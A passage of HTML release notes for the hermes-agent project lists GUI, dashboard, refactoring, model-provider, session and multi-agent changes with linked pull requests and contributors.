<li>Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/42521" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42521/hovercard">#42521</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43111/hovercard">#43111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45273/hovercard">#45273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41670/hovercard">#41670</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41751/hovercard">#41751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (<a href="https://github.com/NousResearch/hermes-agent/pull/40234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40234/hovercard">#40234</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44864/hovercard">#44864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45263/hovercard">#45263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40684/hovercard">#40684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop pets — pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/47938" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47938/hovercard">#47938</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; <code>/browser connect</code> on a local gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/41232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41232/hovercard">#41232</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40559" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40559/hovercard">#40559</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40355/hovercard">#40355</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41666" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41666/hovercard">#41666</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47245/hovercard">#47245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Japanese + Traditional Chinese language switching (<a href="https://github.com/NousResearch/hermes-agent/pull/40114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40114/hovercard">#40114</a>)</li>
<li>"Restart gateway" action (renamed from "Restart messaging") surfaced in the statusbar + on messaging save/toggle toasts; rendered logs are selectable/copyable (<a href="https://github.com/NousResearch/hermes-agent/pull/49094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49094/hovercard">#49094</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li><strong>Remote media relay</strong> — attach images/PDFs and display agent-written images over the network for the first time; remote-gateway file attachments via <code>file.attach</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41336" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41336/hovercard">#41336</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42634/hovercard">#42634</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Client + backend version buttons + remote-backend update flow; browse remote backend files; route global-remote profile REST calls; recover chat after sleep/wake by revalidating a stale remote backend (<a href="https://github.com/NousResearch/hermes-agent/pull/42181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42181/hovercard">#42181</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44326" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44326/hovercard">#44326</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47011" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47011/hovercard">#47011</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41350/hovercard">#41350</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multi-profile fallout cleanup — WS auth + cross-profile session reads; release profile backends before delete; scope session list/model switch/timer per session (<a href="https://github.com/NousResearch/hermes-agent/pull/44529" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44529/hovercard">#44529</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42613" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42613/hovercard">#42613</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41103" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41103/hovercard">#41103</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41120/hovercard">#41120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41182/hovercard">#41182</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Stream subagent activity into watch windows; keep streaming painting in unfocused secondary chat windows; recover stranded session windows (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47919" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47919/hovercard">#47919</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47655/hovercard">#47655</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Full-featured profile builder (model + skills + MCPs); unify multi-profile management — one machine dashboard + global profile switcher; profile-scoped skills &amp; toolsets; session switcher panel on the Chat tab (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43808" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43808/hovercard">#43808</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49077" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49077/hovercard">#49077</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills hub browser rehaul — connected hubs, featured, preview + security scan; SKILL.md editor on Skills page + attach-skill selector in cron modals; full per-MCP catalog detail; full tool-backend config in the GUI (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44231/hovercard">#44231</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48520/hovercard">#48520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40418" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40418/hovercard">#40418</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Enable webhooks from the Webhooks page; idempotent <code>hermes dashboard register</code>; auto-restart gateway after Telegram QR onboarding; file browser; change UI font from the theme picker; reasoning-effort picker in the chat sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/44021" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44021/hovercard">#44021</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42455/hovercard">#42455</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43424" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43424/hovercard">#43424</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43512/hovercard">#43512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41145" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41145/hovercard">#41145</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49141" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49141/hovercard">#49141</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>God-file refactor wave (run_agent.py / cli.py / gateway/run.py)</h3>
<ul>
<li><strong><code>cli.py</code> main() 3297 → 954 lines</strong> — extracted 28 subcommand parsers into <code>hermes_cli/subcommands/</code>, then promoted 9 closure handlers; 32 slash-command handlers → <code>CLICommandsMixin</code>; 18 model-flow wizard functions → <code>model_setup_flows</code>; agent-construction cluster → <code>CLIAgentSetupMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41798" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41798/hovercard">#41798</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41835/hovercard">#41835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41942" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41942/hovercard">#41942</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42174/hovercard">#42174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42153/hovercard">#42153</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>gateway/run.py</code> 19157 → 15870 lines</strong> — 42 slash-command handlers → <code>GatewaySlashCommandsMixin</code>; authorization cluster → <code>GatewayAuthorizationMixin</code>; kanban watcher loops → <code>GatewayKanbanWatchersMixin</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41886/hovercard">#41886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42159" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42159/hovercard">#42159</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41849/hovercard">#41849</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>run_agent.py</code> turn loop</strong> — extracted prologue into <code>TurnContext</code>, post-loop tail into <code>finalize_turn</code>, consolidated inner-retry-loop recovery flags into <code>TurnRetryState</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/41778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41778/hovercard">#41778</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42169/hovercard">#42169</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41828/hovercard">#41828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><strong><code>memory</code> batch operations</strong> — atomic add/replace/remove array against the final char budget, so a single call can free space and add entries (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>search_files</code> lossless densification</strong> — headroom evaluation report + the one densification improvement worth shipping (fewer tokens per result, same matches) (<a href="https://github.com/NousResearch/hermes-agent/pull/47866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47866/hovercard">#47866</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Removed the agent-callable <code>send_message</code> tool; coding-context posture across CLI/TUI/desktop/ACP; <code>read_file</code> extracts <code>.ipynb</code>/<code>.docx</code>/<code>.xlsx</code> to text (<a href="https://github.com/NousResearch/hermes-agent/pull/47856" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47856/hovercard">#47856</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43316/hovercard">#43316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37082/hovercard">#37082</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Context-file handling: configurable truncation limit + warnings; scale context-file cap to model window + point agent at the truncated file (<a href="https://github.com/NousResearch/hermes-agent/pull/47251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47251/hovercard">#47251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47846/hovercard">#47846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Compression: temporal anchoring in compaction summaries; raise compaction trigger to 85% for gpt-5.5 on Codex OAuth (<a href="https://github.com/NousResearch/hermes-agent/pull/41102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41102/hovercard">#41102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40957/hovercard">#40957</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Adaptive middleware (consumed by NeMo-Relay observer telemetry); usable mid-turn steer — desktop affordance + trusted injection (<a href="https://github.com/NousResearch/hermes-agent/pull/29724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29724/hovercard">#29724</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40240/hovercard">#40240</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>z-ai/glm-5.2</code> (verified 1M context, OpenRouter + Nous), <code>anthropic/claude-fable-5</code>, <code>laguna-m.1</code> + <code>nemotron-3-ultra</code>, xAI Composer 2.5 in the OAuth picker; default xAI to <code>grok-build-0.1</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/47391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47391/hovercard">#47391</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45695" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45695/hovercard">#45695</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42979/hovercard">#42979</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42629" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42629/hovercard">#42629</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#47371</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: Refresh-Models control to bust stale cache; persist Nous recommended-models to disk + fall back on Portal failure; seed catalog disk cache from checkout on update; MiniMax-M3 reports true 1M context (<a href="https://github.com/NousResearch/hermes-agent/pull/48691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48691/hovercard">#48691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42628/hovercard">#42628</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42614/hovercard">#42614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43338" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43338/hovercard">#43338</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Anthropic adaptive models: default to modern thinking contract; never send <code>reasoning</code> field; route <code>reasoning_effort</code> to verbosity; require confirmation for very expensive selections (<a href="https://github.com/NousResearch/hermes-agent/pull/42991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42991/hovercard">#42991</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43012/hovercard">#43012</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43436" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43436/hovercard">#43436</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43391" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43391/hovercard">#43391</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auth: auto-detect OpenRouter credential from the pool; keep Codex OAuth pool accounts distinct on add/re-auth; resolve xAI OAuth across profiles + write rotated tokens back to root; honor <code>model.default_headers</code> for custom OpenAI-compatible providers (<a href="https://github.com/NousResearch/hermes-agent/pull/42263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42263/hovercard">#42263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42316" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42316/hovercard">#42316</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46614" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46614/hovercard">#46614</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41096" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41096/hovercard">#41096</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock falls back to non-streaming <code>InvokeModel</code> when IAM denies the streaming variant; Ollama default <code>max_tokens=65536</code>; surface model refusals as <code>content_filter</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/44293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44293/hovercard">#44293</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41694" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41694/hovercard">#41694</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46013" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46013/hovercard">#46013</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; multi-agent</h3>
<ul>
<li>Optional <strong>max session cap</strong>; drop empty sessions on CLI exit and rotation; ACP session-provenance metadata for compression rotation (<a href="https://github.com/NousResearch/hermes-agent/pull/42389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42389/hovercard">#42389</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43855/hovercard">#43855</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41724" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41724/hovercard">#41724</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Delegation: resolve custom-endpoint subagent pools by endpoint identity; remove the default subagent wall-clock timeout; stop subagent completion lines leaking into parent CLI display (<a href="https://github.com/NousResearch/hermes-agent/pull/41730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41730/hovercard">#41730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45149/hovercard">#45149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44223/hovercard">#44223</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: config-gated auto-subscribe on <code>kanban_create</code>; machine-global singleton lock for the embedded dispatcher; pin assigned profile toolsets for workers; hold reclaim while worker still alive (<a href="https://github.com/NousResearch/hermes-agent/pull/48635" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48635/hovercard">#48635</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49068" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49068/hovercard">#49068</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45590/hovercard">#45590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49064" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49064/hovercard">#49064</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory: configurable Hindsight retain observation scopes; OpenViking setup UX; Honcho gateway-gated identity tree; Supermemory session-level ingest (<a href="https://github.com/NousResearch/hermes-agent/pull/46611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46611/hovercard">#46611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48262/hovercard">#48262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44431" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44431/hovercard">#44431</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<h3>New channels</h3>
<ul>
